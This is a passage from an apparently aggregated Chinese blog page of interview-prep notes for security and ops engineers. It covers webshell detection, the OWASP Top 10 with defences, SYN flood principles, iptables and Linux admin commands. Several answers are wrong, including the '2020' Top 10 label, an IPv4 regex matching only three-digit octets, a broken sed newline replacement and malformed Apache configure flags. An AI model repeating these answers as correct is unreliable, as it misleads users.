    黑客通过浏览器以HTTP协议访问Web Server上的一个CGI文件,是一个合法的TCP连接,TCP/IP的应用层之下没有任何特征,只能在应用层进行检测。黑客入侵服务器,使用webshell,不管是传文件还是改文件,必然有一个文件会包含webshell代码,很容易想到从文件代码入手,这是静态特征检测;webshell运行后,B/S数据通过HTTP交互,HTTP请求/响应中可以找到蛛丝马迹,这是动态特征检测。

    静态检测

    静态检测通过匹配特征码,特征值,危险函数函数来查找webshell的方法,只能查找已知的webshell,并且误报率漏报率会比较高,但是如果规则完善,可以减低误报率,但是漏报率必定会有所提高。

    优点是快速方便,对已知的webshell查找准确率高,部署方便,一个脚本就能搞定。缺点漏报率、误报率高,无法查找0day型webshell,而且容易被绕过。

    静态检测配合人工

    一个检查工具 https://github.com/he1m4n6a/findWebshell

    动态检测

    Linux下就是nobody用户起了bash,Win下就是IIS User启动cmd,这些都是动态特征。再者如果黑客反向连接的话,那很更容易检测了,Agent和IDS都可以抓现行。Webshell总有一个HTTP请求,如果我在网络层监控HTTP,并且检测到有人访问了一个从没反问过得文件,而且返回了200,则很容易定位到webshell,这便是http异常模型检测,就和检测文件变化一样,如果非管理员新增文件,则说明被人入侵了。

    缺点也很明显,黑客只要利用原文件就很轻易绕过了,并且部署代价高,网站时常更新的话规则也要不断添加。

    日志检测

    使用Webshell一般不会在系统日志中留下记录,但是会在网站的web日志中留下Webshell页面的访问数据和数据提交记录。日志分析检测技术通过大量的日志文件建立请求模型从而检测出异常文件,称之为:HTTP异常请求模型检测。

    语法检测

    实现关键危险函数的捕捉方式

    统计学检测

    webshell由于往往经过了编码和加密,会表现出一些特别的统计特征,根据这些特征统计学习。
    典型的代表: NeoPI – https://github.com/Neohapsis/NeoPI

    防范webshell

    https://blog.csdn.net/nohaoye/article/details/46987587

    防范的措施大概有三种,第一种的思路是将专门存放上传文件的文件夹里面的脚本类型文件,解析成其他类型的文件,服务器不会以脚本类型来执行它。第二种是匹配文件夹里的脚本类型文件,将其设置为无法读取及操作。第三种是将文件上传到一个单独的文件夹,给一个二级的域名,然后不给这个虚拟站点解析脚本的权限,听说很多网站都用这种方式。

    计划任务

    https://blog.csdn.net/kx_nullpointer/article/details/21299873

    1. at
    2. batch
    3. crontab
    4. anacron:检测停机期间应该执行但是没有执行的任务,将检测到的任务检测一次

    自动化运维编写过什么脚本

    yum用的什么源(本地自搭,挂载)

    awk sed的使用

    排错思路,排错经验

    网络 防火墙 配置 权限

    日志分析ELK的使用和分析

    https://www.zhihu.com/question/21427267

    • Elasticsearch是个开源分布式搜索引擎,它的特点有:分布式,零配置,自动发现,索引自动分片,索引副本机制,restful风格接口,多数据源,自动搜索负载等。
    • Logstash是一个完全开源的工具,他可以对你的日志进行收集、过滤,并将其存储供以后使用(如,搜索)。
    • Kibana 也是一个开源和免费的工具,它Kibana可以为 Logstash 和 ElasticSearch 提供的日志分析友好的 Web 界面,可以帮助您汇总、分析和搜索重要数据日志。

    举例-阿里规范
    用户历史命令记录

    缺点:安全性不够。使用x-pack实现安全认证及权限管理功能

    事件发生的分析

    用户权限管理(修改)

    防火墙

    IPsec VPN

    安全监控工具

    • web进入->堡垒机->内部防御HIDS->内部监控,日志审计
    • zabbix性能监控工具
    • HIDS

    Linux木马查杀

    常见的设备有啥

    • 防火墙 utm 负载均衡设备
    • IPS IDS(HIDS基于主机型入侵检测系统)
    • 堡垒机
    • 蜜罐
    • 网闸
    • waf
    • 扫描器
    • soc(ossim开源安全信息管理系统)

    Windows运维

    基线规范

    木马查杀

    脱壳,反汇编

    计划任务

    1. 控制面板-管理工具-计划任务,在“任务计划程序库”上右键–创建基本任务

    2. schtasks命令
      语法:
      schtasks /create /tn TaskName /tr TaskRun /sc schedule [/mo modifier] [/d day] [/m month[,month...] [/i IdleTime] [/st StartTime] [/sd StartDate] [/ed EndDate] [/scomputer [/u [domain]user /p password]] [/ru {[Domain]User | "System"} [/rpPassword]] /?

    ISO27000和等保(重点等保)

    说一下ISO27000

    ISO27000是国际知名的信息安全管理体系标准,适用于整个企业,不仅仅是IT部门,还包括业务部门、财务、人事等部门。引入信息安全管理体系就可以协调各个方面信息管理,从而使管理更为有效。保证信息安全不是仅有一个防火墙,或找一个24小时提供信息安全服务的公司就可以达到的。它需要全面的综合管理。

    PDCA(plan do check action)管理循环

    说一下等级保护制度

    《信息安全等级保护管理办法》是为规范信息安全等级保护管理,提高信息安全保障能力和水平,维护国家安全、社会稳定和公共利益,保障和促进信息化建设,根据《中华人民共和国计算机信息系统安全保护条例》等有关法律法规而制定的办法。

    差异

    浅谈信息安全等级保护与ISO27000系列标准的异同 ISSN 1009-3044

    等保是以国家安全、社会秩序和公共利益为出发点,构建国家的安全保障体系。27000系列是以保证组织业务的连续性,缩减业务风险,最大化投资收益为目的,保证组织的业务安全

    共性

    算法

    排序算法:快排 二分 冒泡

    LDAP注入

    http://www.4hou.com/technology/9090.html
    https://blog.csdn.net/quiet_girl/article/details/50716312

    DedeCMS 跨站脚本漏洞

    esdev DedeCMS(织梦内容管理系统)是中国卓卓网络(Desdev)公司的一套基于PHP的开源内容管理系统(CMS)。该系统具有内容发布、内容管理、内容编辑和内容检索等功能。 DedeCMS 5.8版本存在跨站脚本漏洞,该漏洞源于允许恶意用户向web页面注入代码,其他用户在浏览web页面时会受到影响。

    Elasticsearch 安全漏洞

    Elasticsearch是荷兰Elasticsearch公司的一套基于Lucene构建的开源分布式RESTful搜索引擎。该产品主要应用于云计算,并支持通过HTTP使用JSON进行数据索引。Security是其中的一个数据保护组件。

    Elasticsearch 6.8.13版本和7.9.2之前版本存在安全漏洞,该漏洞源于在使用文档或字段级安全时包含文档泄露缺陷。在执行某些复杂查询时,搜索查询不能正确地保留安全权限。这可能导致搜索暴露了攻击者无法查看的文档的存在。攻击者可利用该漏洞对潜在的敏感索引有更多的了解。

    iptables 表和链

    默认情况下,iptables根据功能和表的定义划分包含三个表,filter,nat,mangle,其每个表又包含不同的操作链(chains )。 实际iptables包含4张表和五个链,主要记住filter即可。

    1、四个表:

    必须是小写
    raw   ------------追踪数据包, ----此表用处较少,可以忽略不计
    mangle   -------- 给数据打标记,做标记
    nat   ---------网络地址转换即来源与目的的IP地址和port的转换。应用:和主机本身无关
    filter   --------做过滤的,防火墙里面用的最多的表。
    表的应用顺序:raw-》mangle-》nat-》filter
    

    2、五个链

    五链:(必须是大写)链里面写的是规则。
    PREROUTING  ---------------------进路由之前数据包
    INPUT    -----------------就是过滤进来的数据包(输入)
    FORWARD -----------------转发
    OUTPUT  ---------------发出去的数据包
    POSTROUTING    --------------路由之后修改数据包
    所有的访问都是按顺序:
    入站:比如访问自身的web服务流量。先PREROUTING(是否改地址),再INPUT(是否允许)到达程序。
    转发:经过linux网关的流量.先PREROUTING(是否改地址),然后路由。转发给FORWARD(转发或者丢弃),最后经过POSTROUTING(看看改不改地址。)
    出站:源自linux自身的流量.先OUTPUT,然后路由。再给POSTROUTING(是否改IP)。
    规则顺序:ACL逐条匹配,匹配即停止。
    

    3、四表五链


    raw表里面:
    PREROUTING
    OUTPUT
    总结:数据包跟踪  内核模块iptables_raw
    ===============================================
    mangel表里面有5个链:
    PREROUTING  
    INPUT    
    FORWARD 
    OUTPUT 
    POSTROUTING
    路由标记用的表。内核模块iptables_mangle
    =====================================================
    nat表里面的链:
    PREROUTING
    INPUT
    OUTPUT
    POSTROUTING
    转换地址的表(改IP,改端口。当网关使用的linux。保护内外网流量。内核模块叫iptable_nat)
    ==========================================
    filter表有三个链:重点
    INPUT    #负责过滤所有目标是本机地址的数据包通俗来说:就是过滤进入主机的数据包
    FORWARD  #负责转发流经主机的数据包。起到转发的作用
    OUTPUT   #处理所有源地址是本机地址的数据包通俗的讲:就是处理从主机发出的数据包
    总结:根据规则来处理数据包,如转或者丢。就是实现主机型防火墙的主要表。
    内核模块 iptable_filter
    

    路由表

    计算机网络中,路由表或称**路由择域信息库(RIB)**是一个存储在路由器或者联网计算机中的电子表格(文件)或类数据库。路由表存储着指向特定网络地址的路径(在有些情况下,还记录有路径的路由度量值)。路由表中含有网络周边的拓扑信息。路由表建立的主要目标是为了实现路由协议和静态路由选择。

    每个路由器中都有一个路由表和FIB(Forward Information Base)表:路由表用来决策路由,FIB用来转发分组。路由表中有三类路由:

    (1)链路层协议发现的路由(即是直连路由

    (2)静态路由

    (3)动态路由协议发现的路由。

    FIB表中每条转发项都指明分组到某个网段或者某个主机应该通过路由器的那个物理接口发送,然后就可以到达该路径的下一个路由器,或者不再经过别的路由器而传送到直接相连的网络中的目的主机。/***路由器的主要工作就是为经过路由器的每个数据包寻找一条最佳的传输路径,并将该数据有效地传送到目的站点。

    展开全文
  • 思考了很长时间,最近一直在准备安全服务工程师面试题,说到底还是自己学的不够扎实,理解的不够深刻,想到CSDN可以写笔记,还能跟大家一同分享,就渐渐的喜欢上了这里。 自我介绍 首先肯定是一段必不可少的自我...

    思考了很长时间,最近一直在准备安全服务工程师的面试题,说到底还是自己学的不够扎实,理解的不够深刻,想到CSDN可以写笔记,还能跟大家一同分享,就渐渐的喜欢上了这里。

    持续更新

    自我介绍

    首先肯定是一段必不可少的自我介绍,时间大约为 3 min。
    这一段必须要好好打磨,不可马虎,意简言赅(gai)。

    正文

    OWASP TOP 10 2020有哪些?

    注入
    失效身份验证和会话管理
    敏感信息泄露
    XML外部实体注入攻击(XXE)
    访问控制中断
    安全性错误配置
    跨站脚本攻击(XSS)
    不安全的反序列化
    使用具有已知漏洞的组件
    日志记录和监控不足

    0x00 注入

    当攻击者将无效的数据发送给web应用程序来让其执行为设计的操作,就会发生代码注入问题。
    此安全漏洞最常见的示例便是使用不受信任数据的SQL查询。代码注入漏洞的核心是缺乏对web应用程序使用的数据的验证和清理。任何接受参数作为输入的内容都可能受到代码注入攻击。

    危害: 注入可以使数据丢失或者被破坏掉,并且缺乏可审计性或者拒绝服务。注入漏洞有时甚至可导致完全接管主机。

    如何进行防御代码注入漏洞

    • 首选方法是使用安全的API接口,该API避免完全使用解释器,或者说提供参数化的接口或迁移为使用对象关系映射工具(ORM)。注意,即使说你参数化了,但是如果PL/SQL或者T-SQL连接查询和数据,或者说使用EXECUTE IMMEDIATE 或者exec()执行恶意数据,则存储过程仍然可以引入SQL注入。
    • 使用肯定或“白名单”服务器端输入验证,由于许多应用程序都需要特殊字符,例如文本区域或者移动应用程序的API,因此这并不是一个完整的防御措施
    • 对于任何残留的动态查询,请使用该解释程序的特定转义语法来转义特殊字符。注意,表名(table),列名(column),等SQL结构无法转义,因此用户提供的结构名很危险。这是报表编写软件钟的常见问题。
    • 在查询钟使用limit和其他SQL控件可防止在SQL注入的情况下大量泄露记录

    Conclusion

    • 数据和web应用程序逻辑要分离;
    • 实施限制,以在成功进行注入攻击的情况下限制数据公开。

    0x01 失效身份验证和会话管理


    身份验证漏洞可能让攻击者能尝试控制他们在系统中想要的任何账户,甚至更糟的是,获得对系统的完全控制。身份验证和会话管理失效通常是指在应用程序身份验证机制上发生的逻辑问题,例如恶意行为者暴力破解系统中的有效用户。
    web应用程序包含一个失效身份验证和会话管理漏洞,如果它存在如下问题

    • 允许自动攻击,例如攻击者在其中拥有有效的用户名和密码的列表;
    • 允许暴力破解或其他自动攻击;
    • 允许使用默认密码,弱密码或者众所周知的密码。
    • 使用薄弱或者无效的身份恢复以及忘记密码的过程,这是很不安全的;
    • 使用纯文本,加密或弱哈希密码;
    • 缺少或无效的多因素身份验证
    • 在URL中公开会话ID
    • 成功登录后不轮换会话ID
    • 没有正确地让会话ID无效,用户会话或者身份验证令牌在注销或一段时间不活动期间未正确失效。

    危害
    可能导致部分甚至全部账户遭受攻击,一旦攻击成功,攻击者就能执行合法的任何操作。

    如何防范?

    1. 多因素身份验证
    2. 弱密码检查,例如针对前10000个最差密码的列表尝试更改密码;
    3. 限制失败的登录尝试次数。记录所有故障,并在检测到暴力破解或者其他攻击时提醒管理员
    4. 使用服务器安全的内置会话管理器,该管理器在登录后生成具有较高熵的新随机会话ID。会话ID不应该位于URL中。ID应在注销,空闲和绝对超时后无效。

    0x02 敏感信息暴露

    敏感信息暴露是OWASP列表上最普遍的漏洞之一。它包括破坏应该受到保护的数据。

    如何防止数据泄露?

    1. 加强存储和传输所有的敏感数
    2. 确保使用合适强大的标准算法和密钥,并且密钥管理到位
    3. 确保使用密码专用算法存储密码
    4. 及时清除没有必要存放的重要的敏感数据
    5. 禁止自动收集敏感数据,禁用包含敏感数据的页面缓存。

    0x03 XML外部实体注入攻击(XXE)


    XML外部实体注入攻击是针对解析XML输入的应用程序的一种攻击。当弱配置的XML解析器处理包含对外部实体的引用的XML输入时,就会发生此攻击。
    默认情况下,大多数XML解析器容易收到XXE攻击。因此,确保应用程序不具有此漏洞的责任主要在于开发人员。

    如何防止XML外部实体注入攻击

    • 尽可能使用简单的数据格式(例如JSON),并避免对敏感数据进行序列化。
    • 应用程序或基础操作系统上修补或升级正在使用的所有XML处理器和库
    • 使用依赖项检查器
    • 在应用程序的所有XML解析器中禁用XML外部实体和DTD处理。
    • 在服务器端实施(“白名单”)输入验证,过滤或清理操作,以防止XML文档,标头或节点内的攻击数据
    • 验证XML或XSL文件上传功能是否使用XSD验证或类似方法验证传入的XML
    • SAST工具可以帮助检测源代码中的XXE

    0x04 访问控制中断

    在网络安全中,访问控制意味着根据访问者的需求限制访问者可以访问的部分或页面。

    例如 如果说你有一家电子商务商店,则可能需要访问管理面板才能添加新产品或为即将到来的假期设置促销。但是几乎没有人会需要它,允许网站的其他访客访问您的登录页面只会使您的电子商务商店收到攻击。

    如何防止访问控制中断

    1. 采用特权最低的概念-将角色应用于任务,并且仅在完成该任务所需的时间范围内应用,而不再需要更多时间。
    2. 删除不需要的账户或不再需要其用户的账户。
    3. 审核您的服务器和网站-谁在做什么,什么时候以及为什么做。
    4. 如果可以,对所有访问点应用多因素身份验证
    5. 禁用访问点,直到需要他们为止,以减少访问窗口。
    6. 从服务器上删除不必要的服务。
    7. 检查可从外部访问的应用程序以及与网络绑定的应用程序。
    8. 如果需要开发网站,请记住生产盒不应该成为未经测试即可开发、测试或者发布更新的地方。

    0x05 安全性配置错误


    网站管理员最常见的缺陷之一就是保持CMS默认配置。
    从安全角度来看,对于最终用户而言,今天的CMS应用程序可能会很棘手。到目前为止,最常见的攻击完全是自动化的。这些攻击中有许多都是依赖于用户仅仅具有默认设置。这意味着,在安装CMS时可以通过更改默认设置来缓解大量的攻击。同时还需要调整一些设置,以控制评论,用户和用户信息的可见性。文件权限是可以强化的默认设置的另一个示例。

    如何防止安全性配置错误

    • 可重复的强化过程,可以快速轻松地部署正确锁定的另一个环境。开发,质量保证和生产环境均应该配置相同,并且在每个环境中使用不同的凭证,从而使该过程自动化,以最大程度地减少设置新的安全环境所需的工作。
    • 一个没有任何不必要的功能,组件,文档和样本的最小平台。删除或不安装未使用的功能和框架。
    • 作为修补程序管理过程的一部分,审查和更新适用于所有安全说明,更新和修补程序的配置的任务。特别请查看云存储的权限。
    • 一种分段的应用程序体系结构,可通过分段,容器化或者云安全组在组件之间提供有效且安全的隔离。
    • 将安全指令发送到客户端,例如安全标头。
    • 在所有环境中验证配置和设置有效性的自动化过程。

    0x06 跨站脚本攻击(XSS)

    跨站脚本(XSS)是一个广泛存在的漏洞,会影响许多web应用程序。XSS攻击包括将恶意的客户端脚本注入网站,并且将该网站作为传播方法。

    XSS背后的风险在于,它允许攻击者将内容注入网站并且修改其显示方式,从而迫使受害者的浏览器在加载页面时执行攻击者提供的代码。

    通常,XSS漏洞要求用户通过社工或通过访问特定的页面来触发某种类型的交互,如果未修补XSS漏洞,则对任何网站来说都非常危险。


    XSS的类型

    • 反射型XSS:应用程序或API包含未经验证和未转义的用户输入,作为HTML输入的一部分。成功的攻击可以使攻击者在受害者的浏览器中执行任意HTML和JavaScript。通常,用户将需要与指向攻击者控制的页面的某些恶意链接进行交互,例如恶意注水网站,广告或类似内容。
    • 存储型XSS:应用程序或API存储未过滤的用户输入,稍后由其他用户或管理员查看。存储的XSS通常被认为是高风险或严重风险。
    • DOM型XSS:动态地将攻击者可控制的数据包包含到页面地JavaScript框架,单页应用程序和API容易收到DOM

    如何防止跨站脚本攻击呢?

    • 使用根据设计自动逃避XSS的框架,例如最新的Ruby on Rails,React JS,了解每个框架的XSS保护的局限性,并适当处理未涵盖的用例。
    • 根据HTML输出中的上下文(正文、属性,JavaScript,CSS或URL)转义不受信任的HTTP请求数据将解决Reflected和Stored XSS漏洞,防止XSS的OWASP备忘单详细介绍了所需的数据转义技术。
    • 在客户端上修改浏览器文档时,应用上下文相关的编码会影响DOM XSS,如果无法避免这种情况,可以将类似的上下文相关的转义技术应用于浏览器API,如OWASP速查表中基于DOM的XSS预防中所述。
    • 启用内容安全策略(CSP)是针对XSS的深度防御缓解控制,如果不存在允许通过本地文件包含防止恶意代码的其他漏洞,(例如,路径遍历覆盖或来自允许的内容传递网络的易受攻击的库),则此方法有效。

    0x07 不安全的反序列化


    关键概念:

    • 序列化的过程是将对象转换为字节字符串;
    • 反序列化的过程是将字节字符串转化为对象

    程序尝试在不进行任何验证的情况下对数据进行反序列化,这倾向于使攻击者可以模拟序列化的数据并发送给应用程序以采取任何暴力措施。

    如何防止不安全的反序列化

    • 在任何序列化对象上实施完整性检查(例如数字签名),以防止恶意创建对象或者篡改数据。
    • 在对象创建之前的反序列化过程中强制执行严格的类型约束,因为代码通常希望使用一组可定义的类。已经证明绕过该技术,因此不建议仅仅依赖此技术。
    • 隔离并运行可能在低特权环境中反序列化的代码
    • 记录反序列化异常和失败,例如传入的不是预期的类型,或者说反序列化引发异常
    • 限制或监视反序列化的容器或服务器的传入和传出网络连接
    • 监视反序列化,并且警告用户是否不断反序列化。

    0x08 使用具有已知漏洞的组件


    简单的网站对其具有很大的依赖性。毫无疑问,如果不更新网站后端和前端的每个软件,无疑会给人们带来沉重的安全风险。

    防止使用易受攻击的组件的方法

    • 删除所有不必要的依赖项
    • 在客户端和服务器端都有所有组件的清单
    • 监视诸如常见漏洞和披露(CVE)和国家漏洞数据库(NVD)之类的源,以查找组件中的漏洞。
    • 仅从官方来源获取组件
    • 摆脱未积极维护的组件
    • 在网站应用程序防火墙的帮助下使用虚拟修补程序。

    0x09 日志记录和监控不足

    保护网站的重要性不可低估。虽然100%的安全性不是一个现实的目标,但是有一些方法可以使您的网站受到定期监控,以便您在发生问题时立即采取行动。如果没有有效的日志记录和监视过程,则可能会增加网站收到危害的风险指数

    示例

    1. 一个小团队运行的一个开源项目论坛软件被利用其软件中的一个漏洞进行了黑客攻击。攻击者设法清除了包含下一个版本和所有论坛内容的内部源代码存储库。尽管可以恢复源,但是缺少监视,记录或警报功能导致更严重的漏洞。由于此问题,论坛软件项目不再处于活动状态。
    2. 攻击者扫描具有公共密码的用户。他们可以使用此密码接管所有帐户。对于所有其他用户,此扫描仅留下一个错误的登录名。几天后,可能会使用不同的密码重复此操作。
    3. 据报道,一家大型美国零售商有一个内部恶意软件分析沙箱,用于分析附件。沙盒软件已检测到可能不需要的软件,但是没有人对此检测结果做出响应。在检测到由于外部银行进行欺诈性卡交易而造成的违规之前,沙盒已经发出警告了一段时间。

    如何进行有效的网络监控

    保持审核日志对于掌控网络的任何可疑更改至关重要。审核日志是一个文档,用于记录网站中的事情,因此您可以发现并与负责人确认该账户没有收到威胁。

    展开全文
  • 本篇面试题是关于常规的基础网络知识 0x00 TCP/UDP 三次握手 SYN攻击 TCP的优点: 可靠,稳定 TCP的可靠体现在TCP在传递数据之前,会有三次握手来建立连接,而且在数据传递时,有确认、窗口、重传、拥塞控制机制, ...

    本篇面试题是关于常规的基础网络知识

    0x00 TCP/UDP 三次握手 SYN攻击

    TCP的优点:
    可靠,稳定
    TCP的可靠体现在TCP在传递数据之前,会有三次握手来建立连接,而且在数据传递时,有确认、窗口、重传、拥塞控制机制,
    在数据传完之后,还会断开连接用来节约系统资源。

    TCP的缺点:
    慢,效率低,占用系统资源高,易被攻击
    TCP在传递数据之前,要先建立连接,而这个会消耗时间,而且在数据传递时,确认机制,重传机制、拥塞控制机制等都会小号大量的时间,而且要在每台设备上维护所有的传输连接,事实上,每个连接都会占用系统的CPU、内存等硬件资源。
    而且,因为TCP有确认机制、三次握手机制,这也导致TCP容易被人利用,实现DOS、DDOS、CC等攻击。


    UDP的优点:
    快,比TCP稍微安全
    UDP没有TCP的握手,确认、窗口、重传、拥塞控制等机制。UDP是一个无状态的传输协议,所以它在传递数据时非常快。没有TCP的这些机制,UDP相较于TCP被攻击者利用的漏洞就较少一些。但UDP也是无法避免攻击的。比如: UDP Flood攻击

    UDP的缺点:
    不可靠性,不稳定性
    因为UDP没有TCP的那些可靠的机制,在数据传递时,如果说网络质量不好,会很容易丢包。


    基于上面的介绍
    什么时候使用TCP:
    当对网络通讯质量有严格要求时,比如:整个数据要准确无误的发送给对方,这往往用于一些要求可靠的应用,比如HTTP、HTTPS、FTP等传输文件的协议,POP、SMTP等邮件传输的协议。

    日常中我们常见使用TCP协议的是:
    浏览器:HTTP/(S)
    Outlook:POP、SMTP
    Putty:TELNET SSH

    日常中我们常见使用UDP协议的是:
    当对网络通讯质量要求不高时,要求网络通讯速度能尽快,这就可以使用UDP了。
    比如:
    QQ语音、视频
    TFTP

    0x01 TCP握手协议

    在TCP/IP协议中,TCP协议提供可靠地连接服务,采用三次握手建立一次连接
    第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认;
    第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也要发送一个SYN包(syn=k),即是SYN+ACK包,此时服务器进入SYN_RECV状态;
    第三次握手:客户端收到服务器的SYN_ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入established状态,完成三次握手。

    完成三次握手,客户端与服务器开始传送数据,在上述的过程中,还有一些重要概念:
    未连接队列:在三次握手协议中,服务器维护一个未连接队列,该队列为每一个客户端的SYN包(syn=j)开设一个条目
    该条目表明服务器已经收到SYN包,并且向客户端发出确认,正在等待客户的确认包。这些条目所标识的连接在服务器处于SYN_RECV状态,当服务器收到客户的确认包时候,删除该条目,服务器进入established状态。
    backlog参数:表示未连接队列的最大容纳数目。
    SYN-ACK重传次数: 服务器发送完SYN-ACK包,如果未收到客户确认包,服务器进行首次重传,等待一段时间仍未收到客户确认包,进行第二次重传,如果说重传次数超过系统规定的最大重传次数,系统将该连接信息从半连接队列中删除。注意,每次重传等待的时间不一定相同。
    半连接存货时间:是指半连接队列的条目存活的最长时间,也即服务从收到SYN包到确认这个报文无效的最长时间,该时间值是所有重传请求包的最长等待时间总和。

    0x02 SYN攻击原理

    SYN攻击属于DOS攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。
    SYN攻击除了能影响主机外,还可以危害路由器,防火墙等网络设备,事实上SYN攻击并不管目标是什么系统,只要这些系统打开TCP服务即可实施。
    服务器接收到连接请求(syn=j),将此信息加入未连接队列,并发送请求给客户(syn=k,ack=j+1),此时进入SYN_RECV状态。当服务器未收到客户端的确认包时,重发请求包,一直到超时,才将此条目从未连接队列删除。
    配合IP欺骗,SYN攻击能达到很好的效果,通常,客户端在短时间内伪造大量的不存在的IP地址,向服务器不断地发送syn包,服务器回复确认包,并等待客户地确认,由于源地址是不存在地,服务器需要不断地重发直至超时,这些伪造地syn包将长时间占用未连接队列,正常地SYN请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。

    展开全文
  • 最新网络工程师面试题大全,组网技术与网络管理、网络操作系统、网络数据库、网页制作、计算机网络与应用、网络通信技术、网络应用软件、JAVA编程基础、服务器配置与调试、网络硬件的配置与调试、计算机网络软件实训...
  • 运维工程师面试题

    2017-11-28 16:27:00
    1)Linux启动大致过程?...*init读取系统引导配置文件/etc/inittab,并根据运行级别配置服务/etc/rc.d/rc.local Linux系统缺省的运行级别 0为停机,机器关闭 1为单用户模式,就像Win下的安全模式 2为多用户模...

    1)Linux启动大致过程?
    *BIOS自检
    *运行系统内核并检测硬件从硬盘启动并运行系统的第一个进程init(LILO和GRUB模式)
    *init读取系统引导配置文件/etc/inittab,并根据运行级别配置服务/etc/rc.d/rc.local
    Linux系统缺省的运行级别
    0为停机,机器关闭
    1为单用户模式,就像Win下的安全模式
    2为多用户模式,但是没有NFS支持
    3为完全的多用户模式,是标准的运行级别
    4保留
    5图形界面的模式
    6为重启,运行init6机器就会重启
    2)apache有几种工作模式,分别简述两种工作模式及其优缺点?
    apache主要有两种工作模式:prefork(apache的默认安装模式)和worker(可以在编译的时候添加--with-mpm=worker选项)
    prefork的特点是:(预派生)
    1.这种模式可以不必在请求到来时再产生新的进程,从而减小了系统开销
    2.可以防止意外的内存泄漏
    3.在服务器负载下降的时候会自动减少子进程数
    worker的特点是:支持混合的多线程多进程的多路处理模块
    如果对于一个高流量的HTTP服务器,worker MPM是一个比较好的选择,因为worker MPM占用的内存要比prefork要小。
    3)LVS三种模式的工作过程?
    NAT (Network Address Translation)模式。LB收到用户请求包后,LB将请求包中虚拟服务器的IP地址转换为某个选定RS的IP地址,转发给RS;RS将应答包发给 LB,LB将应答包中RS的IP转为虚拟服务器的IP地址,回送给用户。
    IP隧道 (IP Tunneling)模式。LB收到用户请求包后,根据IP隧道协议封装该包,然后传给某个选定的RS;RS解出请求信息,直接将应答内容传给用户。此时要求RS和LB都要支持IP隧道协议。
    DR(Direct Routing)模式。LB收到请求包后,将请求包中目标MAC地址转换为某个选定RS的MAC地址后将包转发出去,RS收到请求包后 ,可直接将应答内容传给用户。此时要求LB和所有RS都必须在一个物理段内,且LB与RS群共享一个虚拟IP。
    4)oracle数据库备份的方法?
    我同学是做DBA的,改天问问他,然后在告诉大家。
    5)简述/etc/fstab里面个字段的含义?
    因为mount挂载在重启服务器后会失效,所以需要将分区信息写到/etc/fstab文件中让它永久挂载:
    磁盘分区                挂载目录       文件格式     
    /dev/sdb1              /mnt/david       ext3          defaults 0 0
    6)Apache设置虚拟目录的字段?
    NameVirtualHost 192.168.1.2             //设置域名虚拟主机使用的IP地址
    <VirtualHost 192.168.1.2:80>           //建立在地址上的虚拟主机区域
    ServerName www.sfzhang.com            //虚拟主页说使用的域名
    DocumentRoot /data/vhosts/sfzhang    //建立虚拟主机所使用的文档根目录
    </VirtualHost>
    7)列出linux常见打包工具并写相应解压缩参数(至少三种)?
    包类型       压缩实例                          解压实例                 压缩比率
    tar 包       tar -cvf icewarp.tar icewarp      tar -xvf icewarp.tar     只打包不压缩
    tar.gz 包    tar -czvf icewarp.tar.gz icewarp  tar -zxvf icewarp.tar.gz 中高
    tar.bz2 包   tar -cjvf icewarp.tar.bz2 icewarp tar -jxvf icewarp.tar.bz2 高

    8)一个EXT3的文件分区,当用touch新建文件时报错,错误信息是磁盘已满,但是使用df -H查看分区信息时只使用了50%,请分析具体原因?
    答:两种情况,一种是磁盘配额问题,另外一种就是EXT3文件系统的设计不适合很多小文件跟大文件的一种文件格式,出现很多小文件时,容易导致inode耗尽了。
    9)请使用Linux系统命令统计出establish状态的连接数有多少?
    netstat -an |grep 80 |grep ESTABLISHED |wc -l
    10)mysql数据库的备份还原是怎么做的?
    答:平时采用两种方法来做:1)利用mysql自带的使用工具mysqldump和mysql来备份还原数据库 2)利用第三方的mysql管理工具比如:mysqladmin 3)停止mysqld服务拷贝数据文件
    11)简述运维工程师的职责?
    负责公司运营平台的正常工作;加强平台的自动化管理;随便写写,写好听的就行.....
    12)Linux系统是由那些部分组成?
    Linux系统内核,shell,文件系统和应用程序四部分组成。
    13)用一条命令查看目前系统已启动服务所监听的端口?
    [root@nagios ~]# netstat -antl |grep "LISTEN"  
    14)使用lsof命令查看占用80端口的进程?
    [root@nagios ~]# lsof `which httpd`   或者lsof -i:80也可以
    15)统计出一台web server上的各个状态(ESTABLISHED/SYN_SENT/SYN_RECV等)的个数?
    [root@nagios ~]# netstat -antl |grep "ESTABLISHED" |wc -l
    [root@nagios ~]# netstat -antl |grep "SYN_SENT" |wc -l
    [root@nagios ~]# netstat -antl |grep "SYN_RECV" |wc -l
    上面的命令可以用一条命令来统计出来TCP各种状态连接总数:
    [root@nagios ~]# netstat -n |grep ^tcp |awk '{print $NF}' |sort -r |uniq -c  

    [root@nagios ~]# netstat -n |awk '/^tcp/{++S[$NF]}END{for (i in S ) print i,S[i]}'   
    16)查找/usr/local/apache/logs目录最后修改时间大于30天的文件,并删除?
    find  /usr/local/apache/logs -type f -mtime +30 -exec rm -f {}  \;
    17)添加一条到192.168.3.0/24的路由,网关为192.168.1.254?
    route add  -net 192.168.3.0 netmask 255.255.255.0 gw 192.168.1.254
    18)利用sed命令将test.txt中所有的回车替换成空格?
    sed -i s/\r/ /g test.txt 
    19)在每周6的凌晨3:15执行/home/shell/collect.pl,并将标准输出和标准错误输出到/dev/null设备,请写出crontab中的语句?
    15 3 * * 6 /home/shell/collect.pl  > /dev/null  2>&1   
    20)源码编译安装apache,要求为:安装目录为/usr/local/apache,需有压缩模块,rewrite,worker模式;并说明在apache的worker MPM中,为什么ServerLimit要放到配置段最前面?
    ./configure --prefix=/usr/local/apache --enable-so--with-rewrite --with-mpm-worker
    不放在最前面,client会忽略掉的
    21)请写出精确匹配IPv4规范的正则表达式?
    grep "[0-9]\{3\}\.[0-9]\{3\}\.[0-9]\{3\}.[0-9]\{3\}"  access.logs
    22)匹配文本中的key,并打印出该行及下面的5行?
    grep -A5 key filename
    23)dmesg命令中看到ip_conntrack: table full, dropping packet.,如何解决?
    加大ip_conntrack_max 的值;
    降低ip_conntrack_timeout的时间;
    24)查询file1里面空行的所在行号?
    grep -n "^$" file1
    25)查询file1以abc结尾的行?
    grep "abc$" file1
    26)打印出file1文件第1到第三行?
    sed -n '1,3p' file1 用head -3 file1也可以
